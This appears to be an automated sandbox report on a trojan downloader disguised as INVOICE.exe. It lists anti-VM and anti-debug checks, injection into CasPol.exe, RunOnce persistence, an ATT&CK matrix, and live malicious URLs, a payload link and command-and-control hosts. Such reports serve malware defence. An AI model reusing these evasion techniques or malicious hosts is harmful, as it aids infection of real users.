Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_00406873 FindFirstFileW,FindClose,	0_2_00406873
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_0040290B FindFirstFileW,	0_2_0040290B

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe	API call chain: ExitProcess graph end node			graph_0-24650
Source: C:\Users\user\Desktop\INVOICE.exe	API call chain: ExitProcess graph end node			graph_0-24654

Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local\Temp\Arteriagra2.Syr	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\INVOICE.exe	File opened: C:\Users\user\AppData\Local\Temp\alnicoes.til	Jump to behavior

Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: INVOICE.exe, 00000000.00000002.1042576005.0000000000658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exell
Source: INVOICE.exe, 00000000.00000002.1044105230.0000000002C51000.00000004.00000800.00020000.00000000.sdmp, INVOICE.exe, 00000000.00000002.1042576005.0000000000658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: CasPol.exe, 00000003.00000003.1281441617.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxQD
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: INVOICE.exe, 00000000.00000002.1044105230.0000000002C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ntdlluser32kernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v2.0.50727\caspol.exewindir=\syswow64\iertutil.dll
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: INVOICE.exe, 00000000.00000002.1044392231.00000000046F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_73E81BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73E81BFF

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_02B516A6 rdtsc

0_2_02B516A6

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5D2E9 mov eax, dword ptr fs:[00000030h]	0_2_02B5D2E9
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57647 mov eax, dword ptr fs:[00000030h]	0_2_02B57647
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B654B6 mov eax, dword ptr fs:[00000030h]	0_2_02B654B6
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B65DEA mov eax, dword ptr fs:[00000030h]	0_2_02B65DEA
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B67564 mov eax, dword ptr fs:[00000030h]	0_2_02B67564
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5756F mov eax, dword ptr fs:[00000030h]	0_2_02B5756F

Source: C:\Users\user\Desktop\INVOICE.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Writes to foreign memory regions

Source: C:\Users\user\Desktop\INVOICE.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe base: 1130000

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe "C:\Users\user\Desktop\INVOICE.exe"

Jump to behavior

Source: CasPol.exe, 00000003.00000003.1370784061.000000001FB93000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421872750.000000001FB94000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: CasPol.exe, 00000003.00000003.1384972030.000000001FBCB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1152271111.000000001FBCB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1367482997.000000001FBCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager.NET\Framework\v2.0.50727\en\SurveillanceExClientPlugin.resources.EXE

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\INVOICE.exe

0_2_0040352D

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	4 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	Scheduled Task/Job	1 Windows Service	1 Access Token Manipulation	1 Obfuscated Files or Information	LSASS Memory	5 System Information Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	1 Registry Run Keys / Startup Folder	1 Windows Service	1 Timestomp	Security Account Manager	221 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	112 Process Injection	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	113 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
INVOICE.exe	15%	Virustotal		Browse
INVOICE.exe	42%	ReversingLabs	Win32.Trojan.Shelsy

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\System.Threading.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
dual-a-0001.dc-msedge.net	0%	Virustotal		Browse
e-0009.e-msedge.net	0%	Virustotal		Browse

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dual-a-0001.dc-msedge.net	13.107.22.200	true	false	0%, Virustotal, Browse	unknown
timenamoney.ooguy.com	23.105.131.228	true	true		unknown
cdn.discordapp.com	162.159.134.233	true	false		high
e-0009.e-msedge.net	13.107.5.88	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/dotnet/runtimeBSJB	System.Threading.dll.0.dr	false	high
https://cdn.discordapp.com/	CasPol.exe, 00000003.00000003.1281441617.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	INVOICE.exe, filename.exe.3.dr	false	high
http://mozilla.org/MPL/2.0/.	updater.ini.0.dr	false	high
https://cdn.discordapp.com/4	CasPol.exe, 00000003.00000003.1281441617.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/dotnet/runtime	System.Runtime.Handles.dll.0.dr, System.Threading.dll.0.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.105.131.228	timenamoney.ooguy.com	United States		396362	LEASEWEB-USA-NYC-11US	true
162.159.134.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	634111
Start date and time: 25/05/202216:24:11	2022-05-25 16:24:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	INVOICE.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@4/13@77/2
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 32.2% (good quality ratio 31.7%) Quality average: 86.8% Quality standard deviation: 21.3%
HCA Information:	Successful, ratio: 96% Number of executed functions: 58 Number of non-executed functions: 136
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): taskhostw.exe, MusNotification.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, backgroundTaskHost.exe, MoUsoCoreWorker.exe, MusNotificationUx.exe, BackgroundTransferHost.exe, WMIADAP.exe, SgrmBroker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.93.58.141, 40.117.96.136
Excluded domains from analysis (whitelisted): wd-prod-cp-eu-north-3-fe.northeurope.cloudapp.azure.com, www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, arc.msn.com, wd-prod-cp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, wdcpalt.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, login.live.com, apimgmttmr17ij3jt5dneg64srod9jevcuajxaoube4brtu9cq.trafficmanager.net, evoke-windowsservices-tas.msedge.net, apimgmthszbjimgeglorvthkncixvpso9vnynvh3ehmsdll33a.cloudapp.net, img-prod-cms-rt-microsoft-com.akamaized.net, nexusrules.officeapps.live.com, manage.devcenter.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:26:44	API Interceptor	4219x Sleep call for process: CasPol.exe modified
16:26:44	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce Startup key C:\Users\user\AppData\Local\Temp\directory\filename.exe
16:26:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce Startup key C:\Users\user\AppData\Local\Temp\directory\filename.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.105.131.228	SecuriteInfo.com.UDS.Trojan-Downloader.Win32.GuLoader.gen.16218.exe	Get hash	malicious	Browse
	SecuriteInfo.com.UDS.Trojan-Downloader.Win32.GuLoader.gen.2317.exe	Get hash	malicious	Browse
	Dgc1mwB234.exe	Get hash	malicious	Browse
	Sts Global Order.xlsx	Get hash	malicious	Browse
	R7nWmIxbbl.exe	Get hash	malicious	Browse
	ubwJ8nHmzP.exe	Get hash	malicious	Browse
	PO #11325201021.xlsx	Get hash	malicious	Browse
	HSBC.exe	Get hash	malicious	Browse
	UUGCfhIdFD.exe	Get hash	malicious	Browse
	KPcrOQcb5P.exe	Get hash	malicious	Browse
	rGsJ1mXomJ.exe	Get hash	malicious	Browse
162.159.134.233	PO - Drawings And Specifications Sheet_pdf.scr.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/472051232014598144/935778066171580456/Sjddks44.jpg
	mvoElayshk.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe
	xuTyOmef1g.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/879113244856430592/Microsoft.exe
	VMKwliCGEP.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785611664095313920/785649743954706472/bin.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	SecuriteInfo.com.W32.AIDetect.malware2.8825.exe	Get hash	malicious	Browse	162.159.135.233
	dekond.exe	Get hash	malicious	Browse	162.159.129.233
	QUOTEREQUEST28839423994PDF.exe	Get hash	malicious	Browse	162.159.134.233
	854F1E97-5DBB-4A87-A566-33D9012B05E2.exe	Get hash	malicious	Browse	162.159.129.233
	PUCHASE ORDER.exe	Get hash	malicious	Browse	162.159.135.233
	Quote Req. AN04565L (60683111) from ALBA.exe	Get hash	malicious	Browse	162.159.134.233
	doc20220524001901029010011.exe	Get hash	malicious	Browse	162.159.134.233
	56516426-056C-4DBA-984B-979F68AB8D18 pdf.exe	Get hash	malicious	Browse	162.159.135.233
	csgo aimlock v2.exe	Get hash	malicious	Browse	162.159.135.233
	56516426-056C-4DBA-984B-979F68AB8D18 pdf.exe	Get hash	malicious	Browse	162.159.130.233
	Inquiry_List & Data sheet.exe	Get hash	malicious	Browse	162.159.135.233
	Req. Quote_28042022.exe	Get hash	malicious	Browse	162.159.135.233
	RFQ-SIGNAL S.A 17.05.2022.exe	Get hash	malicious	Browse	162.159.129.233
	REF AMVK22-3480.exe	Get hash	malicious	Browse	162.159.130.233
	Setup.exe	Get hash	malicious	Browse	162.159.133.233
	RFQ # 1040377 & Drawings.exe	Get hash	malicious	Browse	162.159.133.233
	File.exe	Get hash	malicious	Browse	162.159.133.233
	ORDER #PO-078-21-00343.exe	Get hash	malicious	Browse	162.159.129.233
	854F1E97-5DBB-4A87-A566-33D9012B05E2.exe	Get hash	malicious	Browse	162.159.134.233
	F42E768EAF5BBDE818DFA4A2B00B1BC53D2E8365F646E.exe	Get hash	malicious	Browse	162.159.134.233
dual-a-0001.dc-msedge.net	triage_dropped_file.exe	Get hash	malicious	Browse	131.253.33.200
	vbc.exe	Get hash	malicious	Browse	131.253.33.200
	REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe	Get hash	malicious	Browse	131.253.33.200
	DHL Global_Inv.exe	Get hash	malicious	Browse	131.253.33.200
	Shipping Docments_0009228888.PDF.exe	Get hash	malicious	Browse	131.253.33.200
	011382843.exe	Get hash	malicious	Browse	131.253.33.200
	zN7UCkDmIC.exe	Get hash	malicious	Browse	131.253.33.200
	Purchase Order (Ref M050417).docx	Get hash	malicious	Browse	131.253.33.200
	RFQ - Offer for Attached Specs.exe	Get hash	malicious	Browse	131.253.33.200
	SecuriteInfo.com.W32.AIDetectNet.01.25717.exe	Get hash	malicious	Browse	131.253.33.200
	files.exe	Get hash	malicious	Browse	131.253.33.200
	recepit Swift copy from JCORP TRADING PTY LTD MT103_pdf.exe	Get hash	malicious	Browse	131.253.33.200
	SecuriteInfo.com.W32.AIDetectNet.01.637.exe	Get hash	malicious	Browse	131.253.33.200
	PaymentRequest_Invoice229182.docx	Get hash	malicious	Browse	131.253.33.200
	Product Inquiry.exe	Get hash	malicious	Browse	131.253.33.200
	SecuriteInfo.com.MSIL.Kryptik.AFFC.465.exe	Get hash	malicious	Browse	131.253.33.200
	EUR_Cert_3883774784847_CMR8494849.pdf.scr.exe	Get hash	malicious	Browse	131.253.33.200
	Scan 4405.vbs	Get hash	malicious	Browse	13.107.22.200
	Order list. Norway.vbs	Get hash	malicious	Browse	131.253.33.200
	ekli siparis.exe	Get hash	malicious	Browse	131.253.33.200

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LEASEWEB-USA-NYC-11US	SecuriteInfo.com.W32.AIDetect.malware2.8825.exe	Get hash	malicious	Browse	23.105.131.186
	SecuriteInfo.com.UDS.Trojan-Downloader.Win32.GuLoader.gen.16218.exe	Get hash	malicious	Browse	23.105.131.228
	SecuriteInfo.com.UDS.Trojan-Downloader.Win32.GuLoader.gen.2317.exe	Get hash	malicious	Browse	23.105.131.228
	Protected Client.vbs	Get hash	malicious	Browse	23.105.131.193
	attack.ps1	Get hash	malicious	Browse	23.105.131.193
	SecuriteInfo.com.Variant.Lazy.184938.5859.exe	Get hash	malicious	Browse	23.105.131.166
	SecuriteInfo.com.Trojan.GenericKDZ.87786.11151.exe	Get hash	malicious	Browse	23.105.131.166
	New Order PO 6784.doc	Get hash	malicious	Browse	173.208.96.116
	OCBC_BAN.EXE	Get hash	malicious	Browse	23.105.131.196
	Client.vbs	Get hash	malicious	Browse	23.105.131.220
	Habib Bank_Payment MT103 Copy_Pdf.exe	Get hash	malicious	Browse	23.105.131.196
	arm	Get hash	malicious	Browse	23.108.24.185
	Urgent Quotation Ref-JBG11008163382TQO.exe	Get hash	malicious	Browse	23.105.131.196
	Copia de pagamento_ Caixa Geral_Pdf.exe	Get hash	malicious	Browse	23.105.131.196
	Kopija za plakkanje_Komercijalna Banka_Pdf.exe	Get hash	malicious	Browse	23.105.131.196
	uUNHCLItt0.exe	Get hash	malicious	Browse	23.105.131.196
	DOC_BANK.EXE	Get hash	malicious	Browse	23.105.131.206
	Remittance details.xls	Get hash	malicious	Browse	23.105.131.220
	zh1YwlIVGD.exe	Get hash	malicious	Browse	23.105.131.186
	PO 202204TR.exe	Get hash	malicious	Browse	23.105.131.166
CLOUDFLARENETUS	SecuriteInfo.com.W32.AIDetect.malware2.8825.exe	Get hash	malicious	Browse	162.159.135.233
	TMCGURRAN.html	Get hash	malicious	Browse	104.20.185.68
	TMCGURRAN.html	Get hash	malicious	Browse	104.20.185.68
	http://54927.qualitysalebd.com#redes@skyairline.com	Get hash	malicious	Browse	104.18.11.207
	EvidencesForBetray.docx .exe	Get hash	malicious	Browse	172.67.139.61
	http://khelowars.com/	Get hash	malicious	Browse	172.67.74.163
	https://www.evernote.com/shard/s440/sh/22d4cf06-6514-e56f-fbf4-32d904787ae2/3807919a58a19590ad4302023af1bd2b/res/8b2b610d-772a-ec3e-9cdc-2eb0fc928b33	Get hash	malicious	Browse	104.16.149.64
	Scan098767989pdf.exe	Get hash	malicious	Browse	188.114.96.10
	Pagament-5242022.html	Get hash	malicious	Browse	104.18.10.207
	Pagament-5242022.html	Get hash	malicious	Browse	104.18.10.207
	https://gcp.olympus.io/api/v1/share/file/download-via-public-link?linkId=f35aef90-dafd-41d9-b7e1-3b8c689929c9&responseType=file	Get hash	malicious	Browse	104.17.25.14
	TT COPY.js	Get hash	malicious	Browse	172.67.145.197
	https://santosesantosarquitetura.com.br/cim/?e=francoise.leylde@aftral.com	Get hash	malicious	Browse	104.18.11.207
	Kn7vI9IYMc3QOV4.exe	Get hash	malicious	Browse	188.114.96.10
	PO-05218B.exe	Get hash	malicious	Browse	188.114.97.20
	https://andrewssurvey-my.sharepoint.com/:o:/p/rob_miller/Eo8MVuL8vndKsKNes7M0R_0BhRmAvjFW4KHLDpBXc3RR3A?e=3D2qkWAE	Get hash	malicious	Browse	104.17.25.14
	8356017.exe	Get hash	malicious	Browse	188.114.96.20
	https://u27056325.ct.sendgrid.net/ls/click?upn=7UtagSBiT7azDcajZ-2FyOJNin5sNxgGMtAZVhV7dGuoZTzrT0hZxmtRJXS4s8cD0hX61LsvDBJ8SdCjNMVSHTrWqNO948vyR5p-2B-2Fy5nCCM220ZA3SRBbQr0t4mjbPRX-2BBG-2BtHkNMum1PoMANUlx2QPSz4Br5G-2BACtsUwGbU25MUs-3DnSM7_m1-2B5T0y9KKTFwH14HcV3J5JdW-2FJdVu2O1gdB3ZnnnPm8Ee-2BcalrHBdJaezZx5z0v4RbQffWneAulpYtgcPs5wZ5KrxYvsv1nCOIL8yl1ZZ9d92ySFISVNqx7PGyD64NfHOFvV6Ejdm7vJWxkZImfYXHwObGgHdXIy6ksSnXJNZXCPLDeVkH7DRjAzvS2DlJzzZnLAWAAMO1hdMTwOqBpgvERi0esCdmbhUjTXbEiNzy3ZQYDivz5msibGoW7GJDH	Get hash	malicious	Browse	104.17.25.14
	Bolt,Screw and Nuts Pdf.exe	Get hash	malicious	Browse	23.227.38.74
	GORGEOUS GIRL INVITES A MEETING HERE F8L9VEQY.docx	Get hash	malicious	Browse	172.67.206.248

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	https://storage.cloud.google.com/indettn/pdflmanco.html#abuse@umn.edu	Get hash	malicious	Browse	162.159.134.233
	SecuriteInfo.com.W32.AIDetect.malware2.8825.exe	Get hash	malicious	Browse	162.159.134.233
	TMCGURRAN.html	Get hash	malicious	Browse	162.159.134.233
	TMCGURRAN.html	Get hash	malicious	Browse	162.159.134.233
	DOCUMENT.EXE	Get hash	malicious	Browse	162.159.134.233
	http://54927.qualitysalebd.com#redes@skyairline.com	Get hash	malicious	Browse	162.159.134.233
	http://gflpiu.support.lasermax.co.ke./#.aHR0cHM6Ly9nZmxwaXUubWljcm8tc2VjdXJpdHkudGlhZ29yb2NoYXV0by5wdCNhaGVyZ2VydEBnay1zb2Z0d2FyZS5jb20=	Get hash	malicious	Browse	162.159.134.233
	EvidencesForBetray.docx .exe	Get hash	malicious	Browse	162.159.134.233
	RH-1825560422.xlsb	Get hash	malicious	Browse	162.159.134.233
	Cotizaci#U00f3n Servicio Agente - SKY Airline.htm	Get hash	malicious	Browse	162.159.134.233
	6Uxr1Com90.exe	Get hash	malicious	Browse	162.159.134.233
	Fattura_32288.xlsm	Get hash	malicious	Browse	162.159.134.233
	hQwGw8mwNN.exe	Get hash	malicious	Browse	162.159.134.233
	ECNiY6vdnv.exe	Get hash	malicious	Browse	162.159.134.233
	http://www.eiseverywhere.com/ereg/newreg.php?eventid=532593&bridgeid=d9e8ae3b75422e50fda1b03dd40e088a&reference=EMPTY	Get hash	malicious	Browse	162.159.134.233
	https://gcp.olympus.io/api/v1/share/file/download-via-public-link?linkId=f35aef90-dafd-41d9-b7e1-3b8c689929c9&responseType=file	Get hash	malicious	Browse	162.159.134.233
	https://ige.netroadshow.com/registration/barclays/11013/barclays-credit-call-banks-upgrade/	Get hash	malicious	Browse	162.159.134.233
	https://survey.zohopublic.eu/zs/KwBjdP	Get hash	malicious	Browse	162.159.134.233
	https://andrewssurvey-my.sharepoint.com/:o:/p/rob_miller/Eo8MVuL8vndKsKNes7M0R_0BhRmAvjFW4KHLDpBXc3RR3A?e=3D2qkWAE	Get hash	malicious	Browse	162.159.134.233
	https://u27056325.ct.sendgrid.net/ls/click?upn=7UtagSBiT7azDcajZ-2FyOJNin5sNxgGMtAZVhV7dGuoZTzrT0hZxmtRJXS4s8cD0hX61LsvDBJ8SdCjNMVSHTrWqNO948vyR5p-2B-2Fy5nCCM220ZA3SRBbQr0t4mjbPRX-2BBG-2BtHkNMum1PoMANUlx2QPSz4Br5G-2BACtsUwGbU25MUs-3DnSM7_m1-2B5T0y9KKTFwH14HcV3J5JdW-2FJdVu2O1gdB3ZnnnPm8Ee-2BcalrHBdJaezZx5z0v4RbQffWneAulpYtgcPs5wZ5KrxYvsv1nCOIL8yl1ZZ9d92ySFISVNqx7PGyD64NfHOFvV6Ejdm7vJWxkZImfYXHwObGgHdXIy6ksSnXJNZXCPLDeVkH7DRjAzvS2DlJzzZnLAWAAMO1hdMTwOqBpgvERi0esCdmbhUjTXbEiNzy3ZQYDivz5msibGoW7GJDH	Get hash	malicious	Browse	162.159.134.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\System.Runtime.Handles.dll	INVOICE.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\nspB8FC.tmp\System.dll	SecuriteInfo.com.W32.AIDetect.malware2.8825.exe	Get hash	malicious	Browse
	INVOICE.exe	Get hash	malicious	Browse
	SecuriteInfo.com.W32.AIDetect.malware2.8825.exe	Get hash	malicious	Browse
	REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe	Get hash	malicious	Browse
	proforma invoice pdf.exe	Get hash	malicious	Browse
	REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe	Get hash	malicious	Browse
	proforma invoice pdf.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Artemis5578255A695D.24317.exe	Get hash	malicious	Browse
	Payment_Advice.xlsx	Get hash	malicious	Browse
